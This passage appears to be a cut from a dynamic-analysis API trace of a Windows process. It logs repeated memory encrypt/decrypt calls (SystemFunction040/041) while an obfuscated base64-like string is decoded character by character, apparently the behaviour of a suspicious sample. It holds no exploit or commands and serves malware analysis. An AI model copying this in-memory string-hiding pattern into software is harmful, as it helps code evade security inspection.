Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="\xba86\xba54\x312c\xa926\xfda\xcbeb\x47ae\xabc2") returned 0x8 [0136.678] SysStringLen (param_1="\xba86\xba54\x312c\xa926\xfda\xcbeb\x47ae\xabc2") returned 0x8 [0136.678] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="O3Tk6W6") returned 0x8 [0136.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="\x61eb\x3714\x3a11\xabf0\x74e0\xc6d9\x2e8d\x18b7") returned 0x8 [0136.678] SysStringLen (param_1="\x61eb\x3714\x3a11\xabf0\x74e0\xc6d9\x2e8d\x18b7") returned 0x8 [0136.678] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="O3Tk6W6a") returned 0x8 [0136.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3") returned 0x8 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3") returned 0x8 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3") returned 0x8 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3") returned 0x10 [0136.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.679] SysStringLen (param_1="O3Tk6W6aNꀅ堌欤ஐ鰣酠") returned 0x10 [0136.679] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x4fcd\xe4b3\x1d7d\x1d53\xf6d1\xa52b\xffc\xd36b") returned 0x10 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x4fcd\xe4b3\x1d7d\x1d53\xf6d1\xa52b\xffc\xd36b") returned 0x10 [0136.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.679] SysStringLen (param_1="O3Tk6W6aNRꀅ堌欤ஐ鰣酠") returned 0x10 [0136.679] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x4a8a\x791d\x6f06\xc05e\xcab9\x5115\x61e5\x9d01") returned 0x10 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x4a8a\x791d\x6f06\xc05e\xcab9\x5115\x61e5\x9d01") returned 0x10 [0136.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.679] SysStringLen (param_1="O3Tk6W6aNRm堌欤ஐ鰣酠") returned 0x10 [0136.679] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\xfc5f\xb003\x1558\x9d39\xc4c8\x72e2\xbfac\xda6b") returned 0x10 [0136.679] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\xfc5f\xb003\x1558\x9d39\xc4c8\x72e2\xbfac\xda6b") returned 0x10 [0136.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.680] SysStringLen (param_1="O3Tk6W6aNRm/欤ஐ鰣酠") returned 0x10 [0136.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.680] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x2930\xe2d5\x3b97\xe7d8\xa8a9\xad2b\x66fd\xcd95") returned 0x10 [0136.680] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x2930\xe2d5\x3b97\xe7d8\xa8a9\xad2b\x66fd\xcd95") returned 0x10 [0136.680] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.680] SysStringLen (param_1="O3Tk6W6aNRm/Vஐ鰣酠") returned 0x10 [0136.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.680] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\xc664\x11a9\x33a9\xcab\x690d\x3e21\xe4ff\x82e9") returned 0x10 [0136.680] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\xc664\x11a9\x33a9\xcab\x690d\x3e21\xe4ff\x82e9") returned 0x10 [0136.680] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.680] SysStringLen (param_1="O3Tk6W6aNRm/VI鰣酠") returned 0x10 [0136.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.680] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x22b9\x480f\x6a20\x206\xa35e\x9e17\xc389\xb6ba") returned 0x10 [0136.680] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x22b9\x480f\x6a20\x206\xa35e\x9e17\xc389\xb6ba") returned 0x10 [0136.680] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.680] SysStringLen (param_1="O3Tk6W6aNRm/VIE酠") returned 0x10 [0136.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x18ba\xe837\xa32c\x723a\xb440\xda40\xc4e7\xbe49") returned 0x10 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x18ba\xe837\xa32c\x723a\xb440\xda40\xc4e7\xbe49") returned 0x10 [0136.681] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.681] SysStringLen (param_1="O3Tk6W6aNRm/VIEo") returned 0x10 [0136.681] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d") returned 0x10 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d") returned 0x10 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d") returned 0x10 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d") returned 0x18 [0136.681] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.681] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+Ꮋꡏ嫷꘰됲ꯎ") returned 0x18 [0136.681] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x5bc6\x935a\xac59\x95fe\x923f\x80a0\x2404\xbb85") returned 0x18 [0136.681] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x5bc6\x935a\xac59\x95fe\x923f\x80a0\x2404\xbb85") returned 0x18 [0136.681] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.681] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gꡏ嫷꘰됲ꯎ") returned 0x18 [0136.681] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xebb0\x707d\x9376\x2d2c\x24be\xa6d2\xf87e\x84dc") returned 0x18 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xebb0\x707d\x9376\x2d2c\x24be\xa6d2\xf87e\x84dc") returned 0x18 [0136.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.682] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gw嫷꘰됲ꯎ") returned 0x18 [0136.682] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x3aa6\xea54\xa87e\xb604\x9ba7\x51ca\xdbd7\x578") returned 0x18 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x3aa6\xea54\xa87e\xb604\x9ba7\x51ca\xdbd7\x578") returned 0x18 [0136.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.682] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gws嫷꘰됲ꯎ") returned 0x18 [0136.682] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x5d5a\x937f\xbb0c\xd72\x86ce\x81de\x86fe\x6b66") returned 0x18 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x5d5a\x937f\xbb0c\xd72\x86ce\x81de\x86fe\x6b66") returned 0x18 [0136.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.682] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsr꘰됲ꯎ") returned 0x18 [0136.682] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x3764\x25be\x26c3\x7559\x53c1\xca8\x1c3e\x6dab") returned 0x18 [0136.682] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\x3764\x25be\x26c3\x7559\x53c1\xca8\x1c3e\x6dab") returned 0x18 [0136.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.683] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrf됲ꯎ") returned 0x18 [0136.683] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xd7be\x8ede\xb5ae\x8bb4\xd215\x99c1\x9726\x40d") returned 0x18 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xd7be\x8ede\xb5ae\x8bb4\xd215\x99c1\x9726\x40d") returned 0x18 [0136.683] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.683] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLꯎ") returned 0x18 [0136.683] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xba2b\x23d9\x8e9b\x1289\xdaed\xa977\xfc38\x1dca") returned 0x18 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xba2b\x23d9\x8e9b\x1289\xdaed\xa977\xfc38\x1dca") returned 0x18 [0136.683] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.683] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLW") returned 0x18 [0136.683] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571") returned 0x18 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571") returned 0x18 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571") returned 0x18 [0136.683] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571") returned 0x20 [0136.683] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.684] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWp촢⧞㹥몌篌廃疢") returned 0x20 [0136.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.684] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xa7ce\x6b13\x5434\xbd10\x65db\x99d8\x3e8c\x252") returned 0x20 [0136.684] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xa7ce\x6b13\x5434\xbd10\x65db\x99d8\x3e8c\x252") returned 0x20 [0136.684] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.684] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpI⧞㹥몌篌廃疢") returned 0x20 [0136.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.684] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\x6819\x25d1\xcc2d\xc42f\xddf6\x71f6\xe974\xd9f5") returned 0x20 [0136.684] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\x6819\x25d1\xcc2d\xc42f\xddf6\x71f6\xe974\xd9f5") returned 0x20 [0136.684] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.684] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIY㹥몌篌廃疢") returned 0x20 [0136.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.684] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xbc47\x1d6e\xbc1f\x9e50\x6a09\xee78\xdee2\xa882") returned 0x20 [0136.684] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xbc47\x1d6e\xbc1f\x9e50\x6a09\xee78\xdee2\xa882") returned 0x20 [0136.684] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.684] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYy몌篌廃疢") returned 0x20 [0136.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\x5949\x6d3d\x8c2\x7df6\xc698\xaa37\x2ca3\xf35") returned 0x20 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\x5949\x6d3d\x8c2\x7df6\xc698\xaa37\x2ca3\xf35") returned 0x20 [0136.685] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyU篌廃疢") returned 0x20 [0136.685] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xe771\xf543\x8489\xaac3\x242b\x26e\xf420\xf7c1") returned 0x20 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xe771\xf543\x8489\xaac3\x242b\x26e\xf420\xf7c1") returned 0x20 [0136.685] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUz廃疢") returned 0x20 [0136.685] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\x4944\x365f\xa9df\x75b0\xfe9a\x1968\x7ce3\x6ccb") returned 0x20 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\x4944\x365f\xa9df\x75b0\xfe9a\x1968\x7ce3\x6ccb") returned 0x20 [0136.685] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt疢") returned 0x20 [0136.685] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfcaa\xdbd5\x37be\xd3ca\xee2\xe1dc\x6642\xe403") returned 0x20 [0136.685] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfcaa\xdbd5\x37be\xd3ca\xee2\xe1dc\x6642\xe403") returned 0x20 [0136.685] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.685] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1") returned 0x20 [0136.686] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9") returned 0x20 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9") returned 0x20 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9") returned 0x20 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9") returned 0x28 [0136.686] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.686] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1I䯂⬏뿢巹銍턯ည") returned 0x28 [0136.686] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x5e2c\x9de7\x8e39\xd084\xd22b\xb425\xb7de\x363b") returned 0x28 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x5e2c\x9de7\x8e39\xd084\xd22b\xb425\xb7de\x363b") returned 0x28 [0136.686] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.686] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1Ix⬏뿢巹銍턯ည") returned 0x28 [0136.686] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x7cb9\x91b6\xae22\xf574\x9174\x2a4b\x242e\x3837") returned 0x28 [0136.686] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x7cb9\x91b6\xae22\xf574\x9174\x2a4b\x242e\x3837") returned 0x28 [0136.686] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.686] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1Ixf뿢巹銍턯ည") returned 0x28 [0136.686] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: 